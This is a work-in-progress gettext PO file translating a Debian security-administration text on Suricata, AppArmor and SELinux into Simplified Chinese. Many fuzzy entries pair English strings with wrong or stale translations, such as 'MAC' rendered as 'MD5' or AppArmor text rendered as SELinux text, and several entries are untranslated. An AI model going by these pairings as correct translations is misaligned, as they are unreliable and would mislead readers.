#| msgid "The effectiveness of snort is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting snort should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgid "The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr "snort 的有效性受到所监视网络界面能看到通信量的限制。如果他不能观察到实时的通信量,显然它就不能侦测到任何东西。当插入到网络交换器,它就只能监控以它正在运行的机器为目标的攻击,这很可能不是预期。因此,运行 snort 的机器应当插入交换机的“镜像”端口,该端口通常用于链接交换机并可以得到所有的通信数据。"
msgid "Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgstr ""
msgid "/etc/etc/suricata/suricata.yaml"
msgstr ""
msgid "On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target)."
msgstr ""
msgid "To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it."
msgstr ""
#, fuzzy
#| msgid "ping"
msgid "oinkmaster"
msgstr "ping"
#, fuzzy
#| msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rulesets from external sources."
msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources."
msgstr "或者,oinkmaster(在同名的包中)可用于从外部源下载 Snort 规则集。"
msgid "GOING FURTHER Integration with prelude"
msgstr "进阶 与 prelude 集成"
msgid "prelude"
msgstr "prelude"
msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types."
msgstr "Prelude 将各种安全信息集中化。它的模块结构包含了服务器(prelude-manager 中的管理器)收集由各种类型的 传感器(sensors) 产生的警报信息。"
#, fuzzy
msgid "Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in )."
msgstr "Snort 可以配置成此类传感器。其他的工具包括 prelude-lml(Log Monitor Lackey),它监视日志文件(以类似 logcheck 的方式,其细节在 中)。"
msgid "Introduction to AppArmor"
msgstr "AppArmor 简介"
msgid "AppArmor"
msgstr "AppArmor"
msgid "Principles"
msgstr "原理"
#, fuzzy
#| msgid "MD5"
msgid "MAC"
msgstr "MD5"
#, fuzzy
#| msgid "Mandatory Access Control"
msgid "Mandatory Access ControlMAC"
msgstr "Mandatory Access Control"
#, fuzzy
#| msgid "SNMP"
msgid "LSM"
msgstr "SNMP"
#, fuzzy
#| msgid "Linux Security Modules"
msgid "Linux Security ModulesLSM"
msgstr "Linux Security Modules"
#, fuzzy
#| msgid "SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgid "AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources."
msgstr "SELinux (安全增强-Security Enhanced Linux)是一种基于Linux LSM(Linux 安全模块)的强制访问控制系统。实际上,内核在执行系统调用前会询问 SELinux 进程是否获得了执行操作的授权。"
msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!)."
msgstr ""
msgid "AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied."
msgstr ""
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/apparmor.d/"
msgstr "监视日志文件"
msgid "Enabling AppArmor and managing AppArmor profiles"
msgstr "启用 AppArmor 和管理 AppArmor 配置文件"
#, fuzzy
#| msgid "lavaps"
msgid "aa-status"
msgstr "lavaps"
msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges."
msgstr "AppArmor 支持已经内置于 Debian 提供的标准内核中。因此,启用 AppArmor 只需以 root 权限执行 apt install apparmor apparmor-profiles apparmor-utils 来安装一些软件包。"
msgid "AppArmor is functional after the installation, and aa-status will confirm it quickly:"
msgstr ""
#, fuzzy
#| msgid ""
#| "\n"
#| "# aa-status\n"
#| "apparmor module is loaded.\n"
#| "40 profiles are loaded.\n"
#| "23 profiles are in enforce mode.\n"
#| " /usr/bin/evince\n"
#| " /usr/bin/evince-previewer\n"
#| "[...]\n"
#| "17 profiles are in complain mode.\n"
#| " /usr/sbin/dnsmasq\n"
#| "[...]\n"
#| "14 processes have profiles defined.\n"
#| "12 processes are in enforce mode.\n"
#| " /usr/bin/evince (3462)\n"
#| "[...]\n"
#| "2 processes are in complain mode.\n"
#| " /usr/sbin/avahi-daemon (429) avahi-daemon\n"
#| " /usr/sbin/avahi-daemon (511) avahi-daemon\n"
#| "0 processes are unconfined but have a profile defined."
msgid ""
"\n"
"# aa-status\n"
"apparmor module is loaded.\n"
"32 profiles are loaded.\n"
"15 profiles are in enforce mode.\n"
" /usr/bin/man\n"
"[...]\n"
"17 profiles are in complain mode.\n"
" /usr/sbin/dnsmasq\n"
"[...]\n"
"1 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
" /usr/sbin/libvirtd (468) libvirtd\n"
"0 processes are in complain mode.\n"
"0 processes are unconfined but have a profile defined."
msgstr ""
"\n"
"# aa-status\n"
"apparmor module is loaded.\n"
"40 profiles are loaded.\n"
"23 profiles are in enforce mode.\n"
" /usr/bin/evince\n"
" /usr/bin/evince-previewer\n"
"[...]\n"
"17 profiles are in complain mode.\n"
" /usr/sbin/dnsmasq\n"
"[...]\n"
"14 processes have profiles defined.\n"
"12 processes are in enforce mode.\n"
" /usr/bin/evince (3462)\n"
"[...]\n"
"2 processes are in complain mode.\n"
" /usr/sbin/avahi-daemon (429) avahi-daemon\n"
" /usr/sbin/avahi-daemon (511) avahi-daemon\n"
"0 processes are unconfined but have a profile defined."
msgid "NOTE More AppArmor profiles"
msgstr "注意 更多的 AppArmor 配置文件"
#, fuzzy
#| msgid "monitoringlog files"
msgid "AppArmorprofiles"
msgstr "监视日志文件"
msgid "The apparmor-profiles package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install apparmor-profiles-extra which contains profiles developed by Ubuntu and Debian."
msgstr ""
#, fuzzy
#| msgid "ping"
msgid "aa-complain"
msgstr "ping"
#, fuzzy
#| msgid "snort"
msgid "aa-enforce"
msgstr "snort"
#, fuzzy
#| msgid "iptables"
msgid "aa-disable"
msgstr "iptables"
msgid "The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit."
msgstr ""
#, fuzzy
#| msgid ""
#| "\n"
#| "# aa-enforce /usr/bin/pidgin\n"
#| "Setting /usr/bin/pidgin to enforce mode.\n"
#| "# aa-complain /usr/sbin/dnsmasq\n"
#| "Setting /usr/sbin/dnsmasq to complain mode.\n"
#| " "
msgid ""
"\n"
"# aa-enforce /usr/bin/pidgin\n"
"Setting /usr/bin/pidgin to enforce mode.\n"
"# aa-complain /usr/sbin/dnsmasq\n"
"Setting /usr/sbin/dnsmasq to complain mode."
msgstr ""
"\n"
"# aa-enforce /usr/bin/pidgin\n"
"Setting /usr/bin/pidgin to enforce mode.\n"
"# aa-complain /usr/sbin/dnsmasq\n"
"Setting /usr/sbin/dnsmasq to complain mode.\n"
" "
msgid "Creating a new profile"
msgstr "创建新的配置文件"
msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses."
msgstr "即使创建 AppArmor 配置文件相当容易,但大多数程序没有。本节将向你展示如何通过使用目标程序,让 AppArmor 监视其进行的系统调用及其访问的资源,从头开始创建新配置文件。"
#, fuzzy
#| msgid "ping"
msgid "aa-unconfined"
msgstr "ping"
msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an aa-unconfined command to list the programs which have no associated profile and which expose an open network socket. With the --paranoid option you get all unconfined processes that have at least one active network connection."
msgstr ""
#, fuzzy
#| msgid ""
#| "$ id -Z\n"
#| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid ""
"\n"
"# aa-unconfined\n"
"451 /usr/bin/containerd not confined\n"
"467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined\n"
"892 /usr/sbin/exim4 not confined\n"
""
msgstr ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid "In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgstr ""
msgid ""
"\n"
"# aa-genprof dhclient\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Setting /usr/sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"S\n"
"Reading log entries from /var/log/syslog.\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Execute: /usr/sbin/dhclient-script\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"P\n"
"\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"[(Y)es] / (N)o\n"
"Y\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"Complain-mode changes:\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Capability: net_raw\n"
"Severity: 8\n"
"\n"
" [1 - capability net_raw,]\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"A\n"
"Adding capability net_raw, to profile.\n"
"\n"
"Profile: /usr/sbin/dhclient\n"
"Capability: net_bind_service\n"
"Severity: 8\n"
"\n"
" [1 - #include <abstractions/nis>]\n"
" 2 - capability net_bind_service,\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"A\n"
"Adding #include <abstractions/nis> to profile.\n"
"\n"
"Profile: /usr/sbin/dhclient \n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" [1 - #include <abstractions/lightdm>]\n"
" 2 - #include <abstractions/openssl>\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"2\n"
"\n"
"Profile: /usr/sbin/dhclient\n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" 1 - #include <abstractions/lightdm> \n"
" [2 - #include <abstractions/openssl>]\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r, \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"A\n"
"[...]\n"
"Profile: /usr/sbin/dhclient-script \n"
"Path: /usr/bin/dash\n"
"New Mode: owner r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/gvfs-open>\n"
" [2 - #include <abstractions/lightdm>]\n"
" 3 - #include <abstractions/ubuntu-browsers.d/plugins-common>\n"
" 4 - #include <abstractions/xdg-open>\n"
" 5 - owner /usr/bin/dash r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"A\n"
"Adding #include <abstractions/lightdm> to profile.\n"
"Deleted 2 previous matching profile entries.\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /usr/sbin/dhclient]\n"
" 2 - /usr/sbin/dhclient-script\n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"S\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"F\n"
"Setting /usr/sbin/dhclient to enforce mode.\n"
"Setting /usr/sbin/dhclient-script to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Finished generating profile for /usr/sbin/dhclient."
msgstr ""
#, fuzzy
msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript."
msgstr "请注意,程序不会显示回你输入的控制字符,但为了解释清楚,我把它们包含在前面的记录中。"
msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)."
msgstr ""
msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run."
msgstr ""
#, fuzzy
msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability."
msgstr "在内核级别,根用户的特殊功能在\"功能\"中被拆分。当系统调用需要特定功能时,AppArmor 将验证配置文件是否允许程序使用此功能。"
msgid "Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it."
msgstr ""
#, fuzzy
msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile."
msgstr "请注意,这个访问请求并不是 dhclient 配置文件的一部分,而是我们允许/usr/sbin/dhclient-script以自己的配置文件运行时创建的新配置文件的一部分。"
msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”."
msgstr ""
#, fuzzy
#| msgid "semanage"
msgid "aa-genprof"
msgstr "semanage"
#, fuzzy
#| msgid "top"
msgid "aa-logprof"
msgstr "top"
msgid "aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created."
msgstr ""
msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient."
msgstr ""
msgid "And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too."
msgstr ""
msgid "Introduction to SELinux"
msgstr "SELinux 简介"
msgid "SELinux"
msgstr "SELinux"
#, fuzzy
#| msgid "security context"
msgid "Security Enhanced LinuxSELinux"
msgstr "安全上下文"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxconcept"
msgstr "OSImodel"
msgid "SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr "SELinux (安全增强-Security Enhanced Linux)是一种基于Linux LSM(Linux 安全模块)的强制访问控制系统。实际上,内核在执行系统调用前会询问 SELinux 进程是否获得了执行操作的授权。"
msgid "SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work."
msgstr "SELinux 使用一套规则-合称为策略-来授权或禁止操作。这些规则较难创建。幸好,有两种标准策略(针对-targeted 和 严格-strict)可以避免大量的配置工作。"
#, fuzzy
#| msgid "packetIP"
msgid "securitycontext"
msgstr "包IP"
#, fuzzy
#| msgid "packetIP"
msgid "securityrole"
msgstr "包IP"
#, fuzzy
#| msgid "packetIP"
msgid "securitydomain"
msgstr "包IP"
msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr "在 SELinux 中,权限的管理完全不同于传统的 Unix 系统。进程的权限取决于它的安全上下文。上下文由唤起该进程的用户身份定义,即该时刻用户具有的角色和域。权限实际上取决于域,但是在域之间转换由角色控制。角色之间的转换取决于身份。"
msgid "Security contexts and Unix users"
msgstr "安全上下文和 Unix 用户"
#, fuzzy
#| msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there's usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr "实际上,在登录期间,用户被赋予默认的安全上下文(取决于它们的角色)。这定义了当前域,以及所有新的子进程的域。如果想要改变当前角色和相关联的域,就必须调用 newrole -r role_r -t domain_t(一个指定角色通常只能被赋予一个域,-t 参数可以忽略)。该命令需要口令授权。这个特性可以禁止程序自动切换角色。在 SELinux 策略中,这种改变只能是显式的。"
#, fuzzy
msgid "Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr "显然,权限并不能适用于所有的对象(文件,目录,套接字,设备,等等)。它们可能随对象而变化。为了实现这一目标,每种对象都和一种类型相关联(称为标记)。域权限进而通过对各种类型(间接地对标识为各种类型的对象)允许或不允许操作的集合表示。"
msgid "EXTRA Domains and types are equivalent"
msgstr "补充域和类型等效"
#, fuzzy
msgid "Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types."
msgstr "在内部,域只是类型,但是类型只适用于进程。这就是为什么域后缀如同对象类型使用_t。"
#, fuzzy
msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr "默认情况下,程序从唤起它的用户继承域,但是标准 SELinux 政策限制了许多重要的程序只能在指定的域运行。为了实现这一目的,这些可执行文件被标识为指定类型(例如ssh 被标识成 ssh_exec_t,当程序被唤起,它会自动切换到 ssh_t 域)。这种自动域转换机制,使得它可以仅授予每个程序所需要的权利。这是 SELinux 的基本原理。"
msgid "Automatic transitions between domains"
msgstr "域之间的自动转换"
msgid "IN PRACTICE Finding the security context"
msgstr "实践找到安全上下文"
msgid "context, security context"
msgstr "上下文,安全上下文"
#, fuzzy
#| msgid "MD5"
msgid "MCS"
msgstr "MD5"
#, fuzzy
#| msgid "MCS (Multi-Category Security)"
msgid "Multi-Category SecurityMCS"
msgstr "MCS(多类别安全-Multi-Category Security)"
msgid "To find the current security context in a shell, you should call id -Z."
msgstr "要在命令行中显示当前的安全上下文,应当调用 id -Z。"
#, fuzzy
#| msgid ""
#| "$ id -Z\n"
#| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgstr ""
"$ id -Z\n"
"unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023"
msgid "If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting."
msgstr ""
#, fuzzy
#| msgid "SELinux"
msgid "selinux-activate"
msgstr "SELinux"
msgid "To find the security context of a given process, you should use the Z option of ps."
msgstr "要找到指定进程的安全上下文,就要在 ps 命令中使用 Z 选项。"
#, fuzzy
#| msgid ""
#| "$ ps axZ | grep vstfpd\n"
#| "system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
msgid ""
"$ ps axZ | grep vstfpd\n"
"system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
msgstr ""
"$ ps axZ | grep vstfpd\n"
"system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd"
msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr "第一个区段包含了身份,角色,域和 MCS 等级,使用冒号分隔。MCS 等级(多类别安全-Multi-Category Security)是一个参数,它会影响保护策略的机密性,进而基于敏感性管制对文件的访问。本书中,此特性将不做详细解释。"
msgid "Finally, to find the type assigned to a file, you can use ls -Z."
msgstr "要显示赋予文件的类型,使用 ls -Z。"
#, fuzzy
#| msgid ""
#| "$ ls -Z test /usr/bin/ssh\n"
#| "unconfined_u:object_r:user_home_t:s0 test\n"
#| " system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh"
msgid ""
"$ ls -Z test /usr/bin/ssh\n"
"unconfined_u:object_r:user_home_t:s0 test\n"
"system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh\n"
""
msgstr ""
"$ ls -Z test /usr/bin/ssh\n"
"unconfined_u:object_r:user_home_t:s0 test\n"
" system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh"
msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr "注意要将身份和角色赋予不是特别重要的文件(从未使用过),但是为了统一,所有的对象都被赋予完整的安全上下文。"
msgid "Setting Up SELinux"
msgstr "设置 SELinux"
msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr "SELinux 支持嵌入到 Debian 提供的标准内核中。Unix 核心工具无需修改就支持 SELinux。因此,启用 SELinux 也相对容易。"
#, fuzzy
#| msgid "The aptitude install selinux-basics selinux-policy-default command will automatically install the packages required to configure an SELinux system."
msgid "The apt install selinux-basics selinux-policy-defaulti auditd command will automatically install the packages required to configure an SELinux system."
msgstr "aptitude install selinux-basics selinux-policy-default 命令会自动安装配置 SELinux 系统所需要的软件包。"
#, fuzzy
msgid "The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section)."
msgstr "selinux-policy-default 软件包含有一套标准规则。默认情况,这些策略只是限制了几个广泛暴露的服务。用户会话没有被限制,也不会阻止合法用户的操作。然而,它也确实增强了运行机器的系统服务安全。要设置和之前的“严格”规则等效的策略,只需禁用 unconfined 模块(模块管理将在后面详细讨论)。"
msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel."
msgstr "一旦策略安装,就要标识全部有效文件(即给它们赋予类型)。该操作必须使用 fixfiles relabel 命令手工启动。"
#, fuzzy
#| msgid "logsmonitoring"
msgid "kernelselinux"
msgstr "日志监视"
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "kernelsecurity"
msgstr "缓冲区接收缓冲区"
#, fuzzy
#| msgid "logsdisplay"
msgid "kernelaudit"
msgstr "OSImodel"
#, fuzzy
#| msgid "logsmonitoring"
msgid "kernelenforcing"
msgstr "日志监视"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxkernel parameters"
msgstr "OSImodel"
#, fuzzy
#| msgid "The SELinux system is now ready. To enable it, you should add the selinux=1 parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot."
msgid "The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot."
msgstr "SELinux 系统现在已经准备好了。要给内核添加 selinux=1 参数来启用它。audit=1 参数会使 SELinux 记录所有被拒绝的操作。enforcing=1 参数使规则起作用:不使用该参数的话,SELinux 工作在默认许可模式,该模式下拒绝行为会被记录但是仍然可以执行。可以修改 GRUB 启动加载器的配置文件来附加需要的参数。一个简单的方法是修改 /etc/default/grub 文件中的 GRUB_CMDLINE_LINUX 变量并运行 update-grub。在重启之后 SELinux 就生效了。"
#, fuzzy
#| msgid "semanage"
msgid "selinux-activate"
msgstr "semanage"
#, fuzzy
#| msgid "monitoringactivity"
msgid "SELinuxactivate"
msgstr "监视行为"
msgid "It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr "注意在下次启动时,用 selinux-activate 脚本自动化这些操作并强制标识(避免无标识的文件在 SELinux 未生效或正在标识的时候被创建)。"
msgid "Managing an SELinux System"
msgstr "管理 SELinux 系统"
msgid "semodule"
msgstr "semodule"
msgid "semanage"
msgstr "semanage"
#, fuzzy
#| msgid "logsdisplay"
msgid "SELinuxrules"
msgstr "OSImodel"
msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command."
msgstr "SELinux 策略是一系列的模块化规则集合,安装时它会基于已经安装的服务自动探测并启用相关模块。系统立即可操作。然而,如果一个服务是在 SELinux 策略之后安装的,就要手动启用相应模块了。semodule 命令可以实现该目的。还必须用 semanage 命令,定义每个用户可用的角色。"
msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/. Unlike other configuration files that you can find in /etc/, all those files must not be changed by hand. You should use the programs designed for this purpose."
